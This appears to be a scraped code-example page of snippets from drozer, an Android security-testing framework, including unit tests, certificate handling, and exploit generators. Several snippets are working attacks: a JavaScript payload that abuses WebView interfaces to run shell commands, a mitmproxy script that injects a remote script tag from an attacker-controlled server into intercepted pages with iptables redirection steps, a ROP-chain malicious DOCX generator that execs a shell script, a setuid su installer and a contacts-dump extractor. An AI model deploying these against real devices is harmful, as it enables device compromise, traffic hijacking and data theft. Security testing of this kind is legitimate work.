Ejemplo n.º 1
0
    def uploadMinimalSuInstallScript(self):
        """
        Upload minimal su install script to the Agent.
        """

        # Remove existing uploads of su install script
        self.shellExec("rm %s/install-minimal-su.sh" % (self.workingDir()))

        minimal_su_script = """#!/system/bin/sh

mount -o remount,rw /system
cat $REPLACEME$/su > /system/bin/su
chmod 4755 /system/bin/su
echo 'Done. You can now use `su` from a drozer shell.'
"""

        minimal_su_script = minimal_su_script.replace("$REPLACEME$", self.workingDir())

        tempDir = tempfile.mkdtemp()
        localPathScript = os.path.join(tempDir, "install-su.sh")
        fs.write(localPathScript, minimal_su_script)

        bytes_copied = self.uploadFile(localPathScript, self.__agentPathScript())

        if bytes_copied == os.path.getsize(localPathScript):
            self.shellExec("chmod 770 " + self.__agentPathScript())
            return True
        else:
            return False
Ejemplo n.º 2
0
    def uploadMinimalSuInstallScript(self):
        """
        Upload minimal su install script to the Agent.
        """

        # Remove existing uploads of su install script
        self.shellExec("rm %s/install-minimal-su.sh" % (self.workingDir()))

        minimal_su_script = """#!/system/bin/sh

mount -o remount,rw /system
cat $REPLACEME$/su > /system/bin/su
chmod 4755 /system/bin/su
echo 'Done. You can now use `su` from a drozer shell.'
"""

        minimal_su_script = minimal_su_script.replace("$REPLACEME$", self.workingDir())

        tempDir = tempfile.mkdtemp()
        localPathScript = os.path.join(tempDir, "install-su.sh")
        fs.write(localPathScript, minimal_su_script)

        bytes_copied = self.uploadFile(localPathScript, self.__agentPathScript())

        if bytes_copied == os.path.getsize(localPathScript):
            self.shellExec("chmod 770 " + self.__agentPathScript())
            return True
        else:
            return False
Ejemplo n.º 3
0
    def setUp(self):
        Configuration._Configuration__config = ConfigParser.SafeConfigParser()

        shutil.rmtree("./tmp", True)
        shutil.rmtree("./repo", True)

        Repository.create("./tmp")
        fs.write("./tmp/a.local.module", "This is a local, raw module.")
        ModuleInstaller("./tmp").install(["./tmp/a.local.module"])
Ejemplo n.º 4
0
 def setUp(self):
     Configuration._Configuration__config = ConfigParser.SafeConfigParser()
     
     shutil.rmtree("./tmp", True)
     shutil.rmtree("./repo", True)
     
     Repository.create("./tmp")
     fs.write("./tmp/a.local.module", "This is a local, raw module.")
     ModuleInstaller("./tmp").install(["./tmp/a.local.module"])
Ejemplo n.º 5
0
    def generate(self, arguments):
        
        adbCommand = "adb"
        if arguments.adbPath:
            adbCommand = arguments.adbPath

        print "[*] Building Rogue Agent..."
        rogueAgentPath = os.path.join(os.path.dirname(__file__), "agent.apk")
        fs.write(rogueAgentPath, self.build_agent(arguments))

        print "[*] Checking adb setup..."
        process = subprocess.Popen(adbCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        if not ("SHELL" in result.upper()) and not ("INSTALL" in result.upper()):
            print "[-] Error. ADB is not properly set up."
            return
        else:
            print "[+] adb is set up correctly"

        print "[*] Connect device and press [ENTER]"
        raw_input()

        print "[*] Attempting to install agent..."
        process = subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        if "SUCCESS" in result.upper():
            print "[+] Rogue Agent installed"
        elif "INSTALL_FAILED_ALREADY_EXISTS" in result.upper():
            print "[-] Already installed"
            print "[*] Uninstalling..."
            subprocess.Popen([adbCommand, "uninstall", "com.mwr.dz"], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait()
            print "[*] Attempting to install agent..."
            subprocess.Popen([adbCommand, "install", rogueAgentPath], stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait()
        else:
            print "[-] Could not be installed"
            return

        print "[*] Attempting to kick start drozer agent"
        process = subprocess.Popen([adbCommand, "shell", "am", "startservice", "-n", "com.mwr.dz/.Agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        if not "ERROR" in result.upper():
            print "[+] Service started. You should have a connection on your server"
        else:
            print "[-] Failed - detected an older device"
            print "[*] Attempting to kick start drozer agent - Method 2"
            process = subprocess.Popen([adbCommand, "shell", "am", "broadcast", "-a", "com.mwr.dz.PWN"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            process.wait()
            print "[-] No feedback available. You will have to look if you have a connection on your server"

        # Cleanup
        os.remove(rogueAgentPath)
Ejemplo n.º 6
0
 def testItShouldInstallARawModuleFromALocalSource(self):
     fs.write("./tmp/a.local.module", "This is a local, raw module.")
     
     ModuleInstaller("./tmp").install(["./tmp/a.local.module"])
     
     assert os.path.exists("./tmp/a")
     assert os.path.exists("./tmp/a/__init__.py")
     assert os.path.exists("./tmp/a/local")
     assert os.path.exists("./tmp/a/local/__init__.py")
     assert os.path.exists("./tmp/a/local/module.py")
     
     assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module."
Ejemplo n.º 7
0
 def testItShouldInstallARawModuleFromALocalSource(self):
     fs.write("./tmp/a.local.module", "This is a local, raw module.")
     
     ModuleInstaller("./tmp").install(["./tmp/a.local.module"])
     
     assert os.path.exists("./tmp/a")
     assert os.path.exists("./tmp/a/__init__.py")
     assert os.path.exists("./tmp/a/local")
     assert os.path.exists("./tmp/a/local/__init__.py")
     assert os.path.exists("./tmp/a/local/module.py")
     
     assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module."
Ejemplo n.º 8
0
 def create_keypair(self, cn):
     """
     Create a key/certificate pair, signed with the CA.
     """
     
     self.__load_key_material()
     
     key, certificate = self.authority.create_certificate(cn)
     
     fs.write(self.__certificate_path(cn), ca.CA.certificate_to_pem(certificate))
     fs.write(self.__key_path(cn), ca.CA.pkey_to_pem(key))
     
     return (key, certificate)
Ejemplo n.º 9
0
    def create_keypair(self, cn):
        """
        Create a key/certificate pair, signed with the CA.
        """

        self.__load_key_material()

        key, certificate = self.authority.create_certificate(cn)

        fs.write(self.__certificate_path(cn),
                 ca.CA.certificate_to_pem(certificate))
        fs.write(self.__key_path(cn), ca.CA.pkey_to_pem(key))

        return (key, certificate)
Ejemplo n.º 10
0
 def provision(self, path):
     """
     Provision new CA Key Material.
     
     This will overwrite any existing CA.
     """
     
     self.authority.create_ca()
     
     Configuration.set("ssl", "ca_path", path)
     
     fs.write(self.ca_certificate_path(), ca.CA.certificate_to_pem(self.authority.ca_cert))
     fs.write(self.__ca_key_path(), ca.CA.pkey_to_pem(self.authority.ca_key))
     
     return True
Ejemplo n.º 11
0
 def execute(self, arguments):
     contacts = []
     dumps = self.listFiles(self.__directory)
     
     if dumps != None:
         for dump in dumps:
             data = self.readFile("/".join([self.__directory, str(dump)]))
             offset = 0
             
             while True:
                 (vcard, offset) = self.__next_vcard(data, offset)
                 
                 if vcard != None:
                     contacts.append(vcard)
                 else:
                     break
     
     if len(contacts) == 0:
         self.stdout.write("No contacts found. Either Super Backup is not installed, no backups have been made, or backups are saved in a non-standard path.\n\n")
     else:
         self.stdout.write("Extracted %d contacts:\n" % len(contacts))
         for contact in contacts:
             self.stdout.write("  %s\n" % contact.name())
         self.stdout.write("\n")
         
         # if an output path has been specified, concatenate and write all vcards
         # to it
         if arguments.output != None:
             length = fs.write(arguments.output, reduce(lambda x,y: "%s\n\n%s" % (x, y), contacts))
             
             self.stdout.write("Written %d bytes to %s.\n\n" % (length, arguments.output))
Ejemplo n.º 12
0
    def provision(self, path):
        """
        Provision new CA Key Material.
        
        This will overwrite any existing CA.
        """

        self.authority.create_ca()

        Configuration.set("ssl", "ca_path", path)

        fs.write(self.ca_certificate_path(),
                 ca.CA.certificate_to_pem(self.authority.ca_cert))
        fs.write(self.__ca_key_path(),
                 ca.CA.pkey_to_pem(self.authority.ca_key))

        return True
Ejemplo n.º 13
0
 def make_pcks12(self, cn, key, cert, export_password=None):
     """
     Prepare a PKCS12 package, given a key and a certificate.
     """
     
     if export_password == None:
         export_password = ''.join(random.choice(list("abcdefghijklmnopqrstuvwxyz01234556789")) for x in range(12))
     
     pkcs12 = OpenSSL.crypto.PKCS12()
     pkcs12.set_friendlyname("mercury")
     pkcs12.set_ca_certificates([self.authority.ca_cert])
     pkcs12.set_certificate(cert)
     pkcs12.set_privatekey(key)
     
     fs.write(os.path.join(self.ca_path(), "%s.p12" % cn), pkcs12.export(export_password))
     
     return (os.path.join(self.ca_path(), "%s.p12" % cn), export_password)
Ejemplo n.º 14
0
    def testItShouldNotInstallARawLocalModuleIfAlreadyPresent(self):
        fs.write("./tmp/a.local.module", "This is a local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"])

        assert os.path.exists("./tmp/a")
        assert os.path.exists("./tmp/a/__init__.py")
        assert os.path.exists("./tmp/a/local")
        assert os.path.exists("./tmp/a/local/__init__.py")
        assert os.path.exists("./tmp/a/local/module.py")

        assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module."

        fs.write("./tmp/a.local.module", "This is an edited local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"])

        assert fs.read("./tmp/a/local/module.py") != "This is an edited local, raw module."
Ejemplo n.º 15
0
    def testItShouldNotInstallARawLocalModuleIfAlreadyPresent(self):
        fs.write("./tmp/a.local.module", "This is a local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"])

        assert os.path.exists("./tmp/a")
        assert os.path.exists("./tmp/a/__init__.py")
        assert os.path.exists("./tmp/a/local")
        assert os.path.exists("./tmp/a/local/__init__.py")
        assert os.path.exists("./tmp/a/local/module.py")

        assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module."

        fs.write("./tmp/a.local.module", "This is an edited local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"])

        assert fs.read("./tmp/a/local/module.py") != b"This is an edited local, raw module."
Ejemplo n.º 16
0
    def testItShouldOverwriteARawLocalModuleIfForceIsSet(self):

        fs.write("./tmp/a.local.module", "This is a local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"])

        assert os.path.exists("./tmp/a")
        assert os.path.exists("./tmp/a/__init__.py")
        assert os.path.exists("./tmp/a/local")
        assert os.path.exists("./tmp/a/local/__init__.py")
        assert os.path.exists("./tmp/a/local/module.py")

        assert fs.read("./tmp/a/local/module.py") == b"This is a local, raw module."

        fs.write("./tmp/a.local.module", "This is an edited local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"], True)

        assert fs.read("./tmp/a/local/module.py") == b"This is an edited local, raw module."
Ejemplo n.º 17
0
    def testItShouldOverwriteARawLocalModuleIfForceIsSet(self):

        fs.write("./tmp/a.local.module", "This is a local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"])

        assert os.path.exists("./tmp/a")
        assert os.path.exists("./tmp/a/__init__.py")
        assert os.path.exists("./tmp/a/local")
        assert os.path.exists("./tmp/a/local/__init__.py")
        assert os.path.exists("./tmp/a/local/module.py")

        assert fs.read("./tmp/a/local/module.py") == "This is a local, raw module."

        fs.write("./tmp/a.local.module", "This is an edited local, raw module.")

        ModuleInstaller("./tmp").install(["./tmp/a.local.module"], True)

        assert fs.read("./tmp/a/local/module.py") == "This is an edited local, raw module."
Ejemplo n.º 18
0
    def make_pcks12(self, cn, key, cert, export_password=None):
        """
        Prepare a PKCS12 package, given a key and a certificate.
        """

        if export_password == None:
            export_password = ''.join(
                random.choice(list("abcdefghijklmnopqrstuvwxyz01234556789"))
                for x in range(12))

        pkcs12 = OpenSSL.crypto.PKCS12()
        pkcs12.set_friendlyname("drozer")
        pkcs12.set_ca_certificates([self.authority.ca_cert])
        pkcs12.set_certificate(cert)
        pkcs12.set_privatekey(key)

        fs.write(os.path.join(self.ca_path(), "%s.p12" % cn),
                 pkcs12.export(export_password))

        return (os.path.join(self.ca_path(), "%s.p12" % cn), export_password)
Ejemplo n.º 19
0
    def execute(self, arguments):
        data = self.contentResolver().read(self.__content_uri)
        
        if os.path.isdir(arguments.destination):
            arguments.destination = os.path.sep.join([arguments.destination, arguments.uri.split("/")[-1]])
        
        length = fs.write(arguments.destination, data)

        if length != None:
            self.stdout.write("Written %d bytes. You can open this file with sqlite3.\n" % len(data))
        else:
            self.stdout.write("Failed to read database.")
Ejemplo n.º 20
0
    def execute(self, arguments):
        data = self.contentResolver().read(self.__content_uri)

        if os.path.isdir(arguments.destination):
            arguments.destination = os.path.sep.join(
                [arguments.destination,
                 arguments.uri.split("/")[-1]])

        length = fs.write(arguments.destination, data)

        if length != None:
            self.stdout.write(
                "Written %d bytes. You can open this file with sqlite3.\n" %
                len(data))
        else:
            self.stdout.write("Failed to read database.")
Ejemplo n.º 21
0
 def __unpack_module_raw(self, module, source, force=False):
     """
     Handles unpacking a module and installing it, if the source is a Python
     module.
     """
     
     path = module.split(".")
     
     # create a Python package to write the module into
     package = self.__create_package(os.path.join(self.repository, *path[0:-1]))
     
     # calculate the path where we will write the module
     path = os.path.join(package, path[-1] + ".py")
     # ensure that we are not about to overwrite an existing module
     if os.path.exists(path) and not force:
         raise AlreadyInstalledError("The target (%s) already exists in the repository." % module)
     # write the module file into the package
     if fs.write(path, source) != None:
         return True
     else:
         raise InstallError("Failed to write module to repository.")
Ejemplo n.º 22
0
 def __unpack_module_raw(self, module, source, force=False):
     """
     Handles unpacking a module and installing it, if the source is a Python
     module.
     """
     
     path = module.split(".")
     
     # create a Python package to write the module into
     package = self.__create_package(os.path.join(self.repository, *path[0:-1]))
     
     # calculate the path where we will write the module
     path = os.path.join(package, path[-1] + ".py")
     # ensure that we are not about to overwrite an existing module
     if os.path.exists(path) and not force:
         raise AlreadyInstalledError("The target (%s) already exists in the repository." % module)
     # write the module file into the package
     if fs.write(path, source) != None:
         return True
     else:
         raise InstallError("Failed to write module to repository.")
Ejemplo n.º 23
0
    def execute(self, arguments):
        contacts = []
        dumps = self.listFiles(self.__directory)

        if dumps != None:
            for dump in dumps:
                data = self.readFile("/".join([self.__directory, str(dump)]))
                offset = 0

                while True:
                    (vcard, offset) = self.__next_vcard(data, offset)

                    if vcard != None:
                        contacts.append(vcard)
                    else:
                        break

        if len(contacts) == 0:
            self.stdout.write(
                "No contacts found. Either Super Backup is not installed, no backups have been made, or backups are saved in a non-standard path.\n\n"
            )
        else:
            self.stdout.write("Extracted %d contacts:\n" % len(contacts))
            for contact in contacts:
                self.stdout.write("  %s\n" % contact.name())
            self.stdout.write("\n")

            # if an output path has been specified, concatenate and write all vcards
            # to it
            if arguments.output != None:
                length = fs.write(
                    arguments.output,
                    reduce(lambda x, y: "%s\n\n%s" % (x, y), contacts))

                self.stdout.write("Written %d bytes to %s.\n\n" %
                                  (length, arguments.output))
Ejemplo n.º 24
0
    def generate(self, arguments):

        drozer_js = """
/* Iterate through entire window looking for javascript interface */
function getJsVar()
{
    for (var prop in window)
    {
        try
        {
            window[prop].getClass();
            return window[prop];  
        }
        catch(err)
        {
            //console.log(err);
        }
    }

    console.log("Could not find JS interface");
    return null;
}

/* Execute command and receive result */
function execute(cmd)
{
    /* Find interface variable */
    var jsVar = getJsVar();
    if (jsVar == null)
        return null;

    /* Reflection-fu to get to Runtime.exec() and passing commands to sh */
    var inputStream = jsVar.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh', '-c', cmd]).getInputStream();
    var output = "";

    /* Iterate through response */
    do
    {
        var readint = inputStream.read();

        if (readint > -1)
            output += String.fromCharCode(readint);
    }
    while (readint > -1);

    return output;
}

/* Get application data directory */
function getDataDir()
{
    var id = execute('id');
    var app_id = /(app_\d+|u0_a\d+)/g.exec(id);
    if (app_id.length > 0)
        app_id = app_id[0];
    else
        app_id = "failed";

    var ps = execute('ps');
    var ps_lines = ps.split("\\n").sort();

    for (var i in ps_lines)
    {
        try
        {
            if (ps_lines[i].indexOf(app_id) > -1)
            {
                var splits = ps_lines[i].split(" ");
                var last_col = splits[splits.length-1].trim();

                if (last_col.indexOf('.') > 0)
                    return '/data/data/' + last_col;
            }
        }
        catch(e)
        {
            console.log(e);
        }
    }
}

/* Start of payload */
"""

        mitm_script = """#!/usr/bin/env python
# Relies on having libmproxy >0.9 installed: http://mitmproxy.org/doc/scripting/libmproxy.html
# pip install mitmproxy

from libmproxy import controller, proxy, platform
import os, sys, datetime

class InjectingMaster(controller.Master):
  def __init__(self, server, js_url):
    controller.Master.__init__(self, server)
    self._js_url = js_url
    print 'Proxy started on port 8080...'

  def run(self):
    try:
      return controller.Master.run(self)
    except KeyboardInterrupt:
        self.shutdown()

  def handle_request(self, msg):
    timestamp = datetime.datetime.today().strftime('%Y/%m/%d %H:%M:%S')
    client_ip = msg.client_conn.address[0]
    request_url = '%s://%s%s' % (msg.scheme, msg.host, msg.path)
    print '[%s %s] %s %s' % (timestamp, client_ip, msg.method, request_url)
    msg.reply()

  def handle_response(self, msg):
    if msg.content: 
      # generic HTML injection
      a = msg.replace('<head>', '<head><script src="%s"></script>' % self._js_url)
      if a > 0:
        print '[x] script injected into HTML head tag!'
      else:
        # generic HTML injection
        b = msg.replace('<body>', '<body><script src="%s"></script>' % self._js_url)
        if b > 0:
          print '[x] script injected into HTML body tag!'
        else:
          # mocean XML
          c = msg.replace('<content>', '<content>&lt;script src=&quot;%s&quot;&gt;&lt;/script&gt;' % self._js_url)
          if c > 0:
            print '[x] %s' % self._js_url
            print '[x] script injected into XML content tag!'
        
    msg.reply()

def main(argv):

  url = $REPLACEME$

  config = proxy.ProxyConfig(
    cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
    transparent_proxy = dict(resolver = platform.resolver(), sslports = [443, 8443])
    )

  server = proxy.ProxyServer(config, 8080)

  m = InjectingMaster(server, url)
  m.run()

if __name__ == '__main__':
  main(sys.argv)
"""
        # Add payload
        drozer_js += "execute(\"cd \" + getDataDir() + \";" + self.payload.strip(
        ).replace("\\", "\\\\").replace("\"", "\\\"").replace("\n",
                                                              " ;") + "\");\n"

        print "Uploading blank page to /...",
        if not self.upload(arguments, "/", " "):
            return

        print "Uploading Exploit to /dz.js...",
        if not self.upload(arguments,
                           "/dz.js",
                           self.build_multipart({".*": drozer_js},
                                                "gc0p4Jq0M2Yt08jU534c0p"),
                           mimetype="application/x-javascript",
                           headers={
                               "X-Drozer-Vary-UA":
                               "true; boundary=gc0p4Jq0M2Yt08jU534c0p"
                           }):
            return

        if arguments.outputFile is None:
            tempDir = tempfile.mkdtemp()
            arguments.outputFile = os.path.join(tempDir, "js-injector.py")

        fs.write(
            os.path.join(arguments.outputFile),
            mitm_script.replace(
                "$REPLACEME$", "\"http://" + str(arguments.server[0]) + ":" +
                str(arguments.server[1]) + "/dz.js\""))
        print "Proxy script saved to " + arguments.outputFile

        print "\nThe basis of this exploit is being able to inject the following code into a vulnerable WebView:"
        scriptLine = '<script src="http://' + str(
            arguments.server[0]) + ':' + str(
                arguments.server[1]) + '/dz.js' + '"></script>'
        print scriptLine

        print """
# enable IP forwarding as root
sysctl -w net.ipv4.ip_forward=1
or
echo 1 > /proc/sys/net/ipv4/ip_forward

# redirect HTTP traffic to local mitmproxy port 8080 as root
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080

# run the proxy script
""" + "python " + arguments.outputFile + """
Ejemplo n.º 25
0
    def generate(self, arguments):

        adbCommand = "adb"
        if arguments.adbPath:
            adbCommand = arguments.adbPath

        print("[*] Building Rogue Agent...")
        rogueAgentPath = os.path.join(os.path.dirname(__file__), "agent.apk")
        fs.write(rogueAgentPath, self.build_agent(arguments))

        print("[*] Checking adb setup...")
        process = subprocess.Popen(adbCommand,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        if not ("SHELL" in result.upper()) and not ("INSTALL"
                                                    in result.upper()):
            print("[-] Error. ADB is not properly set up.")
            return
        else:
            print("[+] adb is set up correctly")

        print("[*] Connect device and press [ENTER]")
        input()

        print("[*] Attempting to install agent...")
        process = subprocess.Popen([adbCommand, "install", rogueAgentPath],
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()
        if "SUCCESS" in result.upper():
            print("[+] Rogue Agent installed")
        elif "INSTALL_FAILED_ALREADY_EXISTS" in result.upper():
            print("[-] Already installed")
            print("[*] Uninstalling...")
            subprocess.Popen([adbCommand, "uninstall", "com.mwr.dz"],
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE).wait()
            print("[*] Attempting to install agent...")
            subprocess.Popen([adbCommand, "install", rogueAgentPath],
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE).wait()
        else:
            print("[-] Could not be installed")
            return

        print("[*] Attempting to kick start drozer agent - Method 1 (Service)")
        process = subprocess.Popen([
            adbCommand, "shell", "am", "startservice", "-n",
            "com.mwr.dz/.Agent"
        ],
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        process.wait()
        result = process.stdout.read() + process.stderr.read()

        if not ("ERROR" in result.upper()
                or "SECURITYEXCEPTION" in result.upper()):
            print(
                "[+] Service started. You should have a connection on your server"
            )
        else:
            print("[-] Failed")
            print(
                "[*] Attempting to kick start drozer agent - Method 2 (Activity)"
            )

            process = subprocess.Popen(
                [adbCommand, "shell", "am", "start", "pwn://lol"],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE)
            process.wait()
            result = process.stdout.read() + process.stderr.read()

            if not ("ERROR" in result.upper()
                    or "SECURITYEXCEPTION" in result.upper()):
                print(
                    "[+] Activity opened. You should have a connection on your server"
                )
            else:
                print("[-] Failed")
                print(
                    "[*] Attempting to kick start drozer agent - Method 3 (Broadcast)"
                )
                process = subprocess.Popen([
                    adbCommand, "shell", "am", "broadcast", "-a",
                    "com.mwr.dz.PWN"
                ],
                                           stdout=subprocess.PIPE,
                                           stderr=subprocess.PIPE)
                process.wait()
                result = process.stdout.read() + process.stderr.read()
                print(
                    "[*] No feedback available. You will have to look if you have a connection on your server"
                )

        # Cleanup
        os.remove(rogueAgentPath)
    def generate(self, arguments):

        f = open(os.path.join(os.path.dirname(__file__), "orig_document.xml"), "r")
        xml = f.read()
        s = Stack()

        # Some more padding for alignment - required so that we can fix the pointer with junk, not data
        s.toaddr("0xb0005221")
        s.pad(12)

        # Here's how we want the memory laid out:
        # 0x0000a0c4 - "/system/bin/sh"
        # 0x0000a1c4 - "/path/to/file.sh"
        # 0x0000a5c4 - Fake stack 0 (to make stack 1 shorter)
        # 0x0000a2c4 - Fake stack 1 (to populate r7)
        # 0x0000a3c4 - Fake stack 2 (to populate r0-r2)
        # 0x0000a4c4 - argv[] for execve()
        # 0x0000a4d0 - envp[] for execve()

        # Strings for execve
        s.store("/system/bin/sh", "0x0000a0c4")
        s.store(arguments.shellScriptLocation, "0x0000a1c4")

        # argv array
        s.storeDword("0x0000a0d0", "0x0000a4c4") # Argv[0], "sh"
        s.storeDword("0x0000a1c4", "0x0000a4c8") # Argv[1], our .sh file
        s.storeDword("0x00000000", "0x0000a4cc") # Argv[2], null terminator

        # envp array
        s.storeDword("0x00000000", "0x0000a4d0") # Argv[2], null terminator

        # Setup fake stack 0
        s.storeDword("0xb0002860","0x0000a5cc") # pc - 0xb0002860:  ldmia sp, {sp, lr, pc}
        s.storeDword("0x0000a2c4","0x0000a5d0") # sp
        s.storeDword("0xb0002860","0x0000a5d4") # lr - point to pop sp gadget
        s.subVal("0x0000a5d8", "0xb0003770", "0x00002000") # pc - # >0xb0001770 : pop {r4 r7} ; bx lr ;;

        # Setup fake stack 1
        s.subVal("0x0000a2c8", "3333", "(333", mode="data") # r7
        s.storeDword("0x0000a3c4", "0x0000a2cc") # arg for pointSP, addr of fake stack 2
        s.subVal("0x0000a2d4", "0xb0003923", "0x00000070") # Jump to fake stack 2 - #>0xb00038b3 : pop {r0 r1 r2 r3 r4 pc} ;;

        # Setup fake stack 2
        s.storeDword("0x0000a0c4", "0x0000a3c4") # r0
        s.storeDword("0x0000a4c4", "0x0000a3c8") # r1, argv
        s.storeDword("0x0000a4d0", "0x0000a3cc") # r2, envp

        # Call SVC
        s.subVal("0x0000a3d8", "0xb0003830", "0x00002070") # pc, addr of SVC

        # Point to fake stack 0 and set lr
        s.pointSP("0x0000a5c4")

        # Jump to the fake stack 0 - >0xb000652d : pop {r4 r5 pc} ;;
        s.toaddr("0xb000652d")

        # We need this here, otherwise the final string doesn't get added to the document XML. Buggy code :)
        s.add("\x00")

        # Write the malicious XML to document.xml
        xml = xml.replace("$REPLACEME$", s.genPayload())
        fs.write(os.path.join(os.path.dirname(__file__), "template", "word", "document.xml"), xml)

        # Save working directory and change to template folder
        cwd = os.getcwd()
        os.chdir(os.path.join(os.path.dirname(__file__), "template"))

        # Zip up the contents into a DOCX
        zip = zipfile.ZipFile(os.path.join(os.path.dirname(__file__), "exploit.docx"), 'w')
        for root, dirs, files in os.walk("."):
          for file in files:
            zip.write(os.path.join(root, file))
        zip.close()

        # Restore working directory
        os.chdir(cwd)

        print "Done. Exploit file generated with the following parameters:\n    Location = %s\n    Execute = %s" % (os.path.join(os.path.dirname(__file__), "exploit.docx"), arguments.shellScriptLocation)
Ejemplo n.º 27
0
    def generate(self, arguments):

        drozer_js = """
/* Iterate through entire window looking for javascript interface */
function getJsVar()
{
    for (var prop in window)
    {
        try
        {
            window[prop].getClass();
            return window[prop];  
        }
        catch(err)
        {
            //console.log(err);
        }
    }

    console.log("Could not find JS interface");
    return null;
}

/* Execute command and receive result */
function execute(cmd)
{
    /* Find interface variable */
    var jsVar = getJsVar();
    if (jsVar == null)
        return null;

    /* Reflection-fu to get to Runtime.exec() and passing commands to sh */
    var inputStream = jsVar.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh', '-c', cmd]).getInputStream();
    var output = "";

    /* Iterate through response */
    do
    {
        var readint = inputStream.read();

        if (readint > -1)
            output += String.fromCharCode(readint);
    }
    while (readint > -1);

    return output;
}

/* Get application data directory */
function getDataDir()
{
    var id = execute('id');
    var app_id = /(app_\d+|u0_a\d+)/g.exec(id);
    if (app_id.length > 0)
        app_id = app_id[0];
    else
        app_id = "failed";

    var ps = execute('ps');
    var ps_lines = ps.split("\\n").sort();

    for (var i in ps_lines)
    {
        try
        {
            if (ps_lines[i].indexOf(app_id) > -1)
            {
                var splits = ps_lines[i].split(" ");
                var last_col = splits[splits.length-1].trim();

                if (last_col.indexOf('.') > 0)
                    return '/data/data/' + last_col;
            }
        }
        catch(e)
        {
            console.log(e);
        }
    }
}

/* Start of payload */
"""

        mitm_script = """#!/usr/bin/env python
# Relies on having libmproxy >0.9 installed: http://mitmproxy.org/doc/scripting/libmproxy.html
# pip install mitmproxy

from libmproxy import controller, proxy, platform
import os, sys, datetime

class InjectingMaster(controller.Master):
  def __init__(self, server, js_url):
    controller.Master.__init__(self, server)
    self._js_url = js_url
    print 'Proxy started on port 8080...'

  def run(self):
    try:
      return controller.Master.run(self)
    except KeyboardInterrupt:
        self.shutdown()

  def handle_request(self, msg):
    timestamp = datetime.datetime.today().strftime('%Y/%m/%d %H:%M:%S')
    client_ip = msg.client_conn.address[0]
    request_url = '%s://%s%s' % (msg.scheme, msg.host, msg.path)
    print '[%s %s] %s %s' % (timestamp, client_ip, msg.method, request_url)
    msg.reply()

  def handle_response(self, msg):
    if msg.content: 
      # generic HTML injection
      a = msg.replace('<head>', '<head><script src="%s"></script>' % self._js_url)
      if a > 0:
        print '[x] script injected into HTML head tag!'
      else:
        # generic HTML injection
        b = msg.replace('<body>', '<body><script src="%s"></script>' % self._js_url)
        if b > 0:
          print '[x] script injected into HTML body tag!'
        else:
          # mocean XML
          c = msg.replace('<content>', '<content>&lt;script src=&quot;%s&quot;&gt;&lt;/script&gt;' % self._js_url)
          if c > 0:
            print '[x] %s' % self._js_url
            print '[x] script injected into XML content tag!'
        
    msg.reply()

def main(argv):

  url = $REPLACEME$

  config = proxy.ProxyConfig(
    cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
    transparent_proxy = dict(resolver = platform.resolver(), sslports = [443, 8443])
    )

  server = proxy.ProxyServer(config, 8080)

  m = InjectingMaster(server, url)
  m.run()

if __name__ == '__main__':
  main(sys.argv)
"""
        # Add payload
        drozer_js += "execute(\"cd \" + getDataDir() + \";" + self.payload.strip().replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", " ;") + "\");\n"

        print "Uploading blank page to /...",
        if not self.upload(arguments, "/", " "):
            return

        print "Uploading Exploit to /dz.js...",
        if not self.upload(arguments, "/dz.js", self.build_multipart({ ".*": drozer_js }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="application/x-javascript", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return

        print "Proxy script saved to " + arguments.outputFile
        fs.write(os.path.join(arguments.outputFile), mitm_script.replace("$REPLACEME$", "\"http://" + str(arguments.server[0]) + ":" + str(arguments.server[1]) + "/dz.js\""))

        print "\nThe basis of this exploit is being able to inject the following code into a vulnerable WebView:"
        scriptLine = '<script src="http://' + str(arguments.server[0]) + ':' + str(arguments.server[1]) + '/dz.js' + '"></script>'
        print scriptLine

        print """
# enable IP forwarding as root
sysctl -w net.ipv4.ip_forward=1
or
echo 1 > /proc/sys/net/ipv4/ip_forward

# redirect HTTP traffic to local mitmproxy port 8080 as root
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080

# run the proxy script
""" + "python " + arguments.outputFile + """
Ejemplo n.º 28
0
    def generate(self, arguments):

        f = open(os.path.join(os.path.dirname(__file__), "orig_document.xml"), "r")
        temp_dir = tempfile.mkdtemp()
        xml = f.read()
        s = Stack()

        # Some more padding for alignment - required so that we can fix the pointer with junk, not data
        s.toaddr("0xb0005221")
